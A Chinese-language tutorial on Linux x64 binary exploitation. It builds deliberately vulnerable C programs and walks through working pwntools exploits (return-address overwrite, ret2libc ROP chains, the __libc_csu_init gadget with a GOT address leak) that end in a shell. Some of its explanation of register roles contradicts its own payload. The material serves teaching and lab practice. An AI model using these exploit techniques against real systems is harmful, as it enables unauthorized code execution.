参考: http://pwn4.fun/2016/04/04/Linux-x64-PWN/
linux_x64与linux_x86的区别
主要两点:
- 内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
- 参数传递方式发生改变,x86参数都是保存在栈上,x64中的前6个参数依次保存在rdi, rsi, rdx, rcx, r8和r9中,如果有更多参数则保存在栈上。
拿一个简单的程序演示:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char **argv)
{
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
return 0;
}
编译
gcc -fno-stack-protector vuln1.c -o vuln1
chmod +x vuln1
使用gdb查看vulnerable_function的指令
gdb vuln1
gdb-peda$ disass vulnerable_function
Dump of assembler code for function vulnerable_function:
0x00000000004005cd <+0>: push rbp
0x00000000004005ce <+1>: mov rbp,rsp
0x00000000004005d1 <+4>: add rsp,0xffffffffffffff80
0x00000000004005d5 <+8>: lea rax,[rbp-0x80]
0x00000000004005d9 <+12>: mov edx,0x200
0x00000000004005de <+17>: mov rsi,rax
0x00000000004005e1 <+20>: mov edi,0x0
0x00000000004005e6 <+25>: call 0x4004a0 <read@plt>
0x00000000004005eb <+30>: leave
0x00000000004005ec <+31>: ret
End of assembler dump.
由lea rax,[rbp-0x80]
可知栈结构如下:
buf 0x80 |
---|
rbp |
return address |
所以要overwrite return address为callsystem()函数的地址,需要136(0x80+8)个占位字节+callsystem()的地址。
查看callsystem()的地址
gdb-peda$ p &callsystem
$1 = (<text variable, no debug info> *) 0x4005bd <callsystem>
gdb-peda$ x/3i 0x4005bd
0x4005bd <callsystem>: push rbp
0x4005be <callsystem+1>: mov rbp,rsp
0x4005c1 <callsystem+4>: mov edi,0x4006c0
编写exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./vuln1')
callsystem = 0x4005bd
payload = "A" * 136 + p64(callsystem)
p.send(payload)
p.interactive()
结果
python exp.py
[+] Starting local process './vuln1': pid 7390
[*] Switching to interactive mode
Hello, World
$ id
uid=0(root) gid=0(root) 组=0(root)
使用工具寻找gadgets
x64的参数会保存在寄存器中,所以需要找一些类似于pop rdi; ret
这样的gadget,借助工具如ROPgadget查找会更加快捷方便。
再用一个简单的例子演示:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void *handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n", dlsym(handle, "system"));
fflush(stdout);
}
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char **argv)
{
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
编译:gcc -fno-stack-protector vuln2.c -o vuln2 -ldl
如果你的程序中使用dlopen、dlsym、dlclose、dlerror 显示加载动态库,需要设置链接选项 -ldl
程序会打印system()在内存中的地址,这样就不需要考虑ASLR的问题了,只要想办法执行system("/bin/sh")
就行。需要找一个将rdi指向”/bin/sh”的gadgets:
从程序中查找指令: ROPgadget --binary vuln2
因为程序较小,没有pop rdi; ret
这个gadgets。可以从libc.so中找,因为程序本身会load libc.so到内存中,并打印system()的地址,所以找到gadgets后可以通过system()计算出libc.so在内存中的基址,从而得到gadgets在内存中的实际地址。
查看调用的动态库:ldd vuln2
linux-vdso.so.1 => (0x00007ffff7ffa000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007ffff7bd7000)
libc.so.6 => /lib64/libc.so.6 (0x00007ffff7809000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7ddb000)
查找libc中的pop rdi ; ret
ROPgadget --binary /lib64/libc.so.6 --only "pop|ret" | grep rdi
0x000000000001fcf0 : pop rdi ; pop rbp ; ret
0x0000000000022bf8 : pop rdi ; ret
我们需要构造的payload结构如下
payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
因为我们只需要调用一次system()函数就可以获取shell,所以可以搜索不带ret的gadgets:
ROPgadget --binary /lib64/libc.so.6 --only "pop|call" | grep rdi
0x000000000018f783 : call qword ptr [rbp + rdi*4]
0x0000000000184ab7 : call qword ptr [rdi]
0x00000000000266db : call rdi
0x00000000000fe889 : pop rax ; pop rdi ; call rax
0x0000000000033cfb : pop rdi ; call 0x8ff83
0x00000000000fe88a : pop rdi ; call rax
发现pop rax ; pop rdi ; call rax
也可以完成目标,将rax赋值system()的地址,rdi赋值为”/bin/sh”的地址:
payload = "\x00" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
这两个ROP链都可以完成目标,随便选择一个进行攻击即可。 最终的exp:
#!/usr/bin/env python
from pwn import *
libc = ELF('/lib64/libc.so.6')
p = process('./vuln2')
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
base_addr = system_addr - libc.symbols['system']
binsh_addr = base_addr + next(libc.search('/bin/sh'))
pop_ret_addr = base_addr + 0x0000000000022bf8
p.recv()
payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
结果
python exp.py
[*] '/lib64/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './vuln2': pid 8620
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
一个简单的通用gadgets例子
漏洞代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
编译
gcc -fno-stack-protector -z execstack -o level5 level5.c
checksec
python
>>> from pwn import *
>>> print ELF('level5').checksec()
[*] '/root/sploitfun/64/64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
在x64下有一些万能的gadgets可以使用。比如用objdump -d level5 -M intel |less
观察一下__libc_csu_init()
这个函数。程序只要调用了libc.so,就会有这个函数对libc进行初始化。
00000000004005d0 <__libc_csu_init>:
4005d0: 41 57 push r15
4005d2: 41 89 ff mov r15d,edi
4005d5: 41 56 push r14
4005d7: 49 89 f6 mov r14,rsi
4005da: 41 55 push r13
4005dc: 49 89 d5 mov r13,rdx
4005df: 41 54 push r12
4005e1: 4c 8d 25 28 08 20 00 lea r12,[rip+0x200828] # 600e10 <__frame_dummy_init_array_entry>
4005e8: 55 push rbp
4005e9: 48 8d 2d 28 08 20 00 lea rbp,[rip+0x200828] # 600e18 <__init_array_end>
4005f0: 53 push rbx
4005f1: 4c 29 e5 sub rbp,r12
4005f4: 31 db xor ebx,ebx
4005f6: 48 c1 fd 03 sar rbp,0x3
4005fa: 48 83 ec 08 sub rsp,0x8
4005fe: e8 15 fe ff ff call 400418 <_init>
400603: 48 85 ed test rbp,rbp
400606: 74 1e je 400626 <__libc_csu_init+0x56>
400608: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40060f: 00
400610: 4c 89 ea mov rdx,r13
400613: 4c 89 f6 mov rsi,r14
400616: 44 89 ff mov edi,r15d
400619: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40061d: 48 83 c3 01 add rbx,0x1
400621: 48 39 eb cmp rbx,rbp
400624: 75 ea jne 400610 <__libc_csu_init+0x40>
400626: 48 83 c4 08 add rsp,0x8
40062a: 5b pop rbx
40062b: 5d pop rbp
40062c: 41 5c pop r12
40062e: 41 5d pop r13
400630: 41 5e pop r14
400632: 41 5f pop r15
400634: c3 ret
对上面的汇编代码进行分析,先分析6次pop的地方(我们不妨将6次pop的地址记为pop_6)
40062a: 5b pop rbx //为了减小后面利用难度,将rbx取值为0
40062b: 5d pop rbp //将rbp取值为1,通过检测,使检验避过。
40062c: 41 5c pop r12 //这里存放我们最后跳转目标函数地址
40062e: 41 5d pop r13 //传入第三个参数
400630: 41 5e pop r14 //第二个参数
400632: 41 5f pop r15 //第一个参数
400634: c3 ret
我们将6次pop中的ret的值设为下面汇编的地址(我们不妨将下面汇编的地址记为mov_3)
400610: 4c 89 ea mov rdx,r13 //传给第三个参数
400613: 4c 89 f6 mov rsi,r14 //传给第二个参数
400616: 44 89 ff mov edi,r15d //第一个参数,r15d(r15低32位)给 edi(rdi低32位)
400619: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40061d: 48 83 c3 01 add rbx,0x1
400621: 48 39 eb cmp rbx,rbp
400624: 75 ea jne 400620 <__libc_csu_init+0x40>
我们将r15的值赋值给rdi,,r14的值赋值给rsi,r13的值赋值给edx,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。所以payload为
payload = 'a'*0x88+p64(pop_6)
payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload+=p64(mov_3)+'a'*(8*7)+p64(main)
write规定传入的第一个参数对应r15,在mov_3处是将r15给edi,所以传入泄露的字节数,只需要泄露8个字节即可。第二个参数对应r14,在mov_3处是将r14给rsi,为要泄露的位置,因为got表中存的是地址而plt表中存的是指令,无法进行call操作,所以第二个参数为write在got表中的地址。第三个参数对应r13,在mov_3处是将r13给rdx,所以第三个参数为1。a(87),还是继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数,最后跳至main函数。
第一部分的payload如下
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level5')
elf = ELF('./level5')
#p = remote('127.0.0.1',10001)
pop_6 = 0x000000000040062a
mov_3 = 0x0000000000400610
elf.address=0x0000000000400000
payload = 'a'*(0x80+0x08)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload += p64(mov_3)
#pwnlib.gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write)
结果
python exp.py
[+] Starting local process './level5': pid 25978
[*] '/root/sploitfun/64/64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
0x7ffff7afc9a0
验证
gdb-peda$ x/3i 0x7ffff7afc9a0
0x7ffff7afc9a0 <write>: cmp DWORD PTR [rip+0x2dd5ed],0x0 # 0x7ffff7dd9f94 <__libc_multiple_threads>
0x7ffff7afc9a7 <write+7>: jne 0x7ffff7afc9b9 <write+25>
0x7ffff7afc9a9 <__write_nocancel>: mov eax,0x1
第一个payload发出后,接收write地址,计算出system地址和sh地址
write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write)
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
查找gadgetROPgadget --binary level5 | less
0x0000000000400633 : pop rdi ; ret
再次payload,调用system(sh)
payload='a'*0x88+p64(0x0000000000400633)+p64(bin_sh)+p64(system)
最终exp
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level5')
elf = ELF('./level5')
#p = remote('127.0.0.1',10001)
pop_6 = 0x000000000040062a
mov_3 = 0x0000000000400610
elf.address=0x0000000000400000
main = 0x000000000040059d
payload = 'a'*(0x80+0x08)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload += p64(mov_3)+ 'a'*(8*7)+p64(main)
#pwnlib.gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
#write = 0x7ffff7afc9a0
print hex(write)
system=0x7ffff7a50270
bin_sh=0x7ffff7b94cc9
payload='a'*0x88+p64(0x0000000000400633)+p64(bin_sh)+p64(system)
p.recvuntil("World\n")
p.sendline(payload)
p.interactive()
最终结果
python exp.py
[+] Starting local process './level5': pid 29019
[*] '/root/sploitfun/64/64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
0x7ffff7afc9a0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)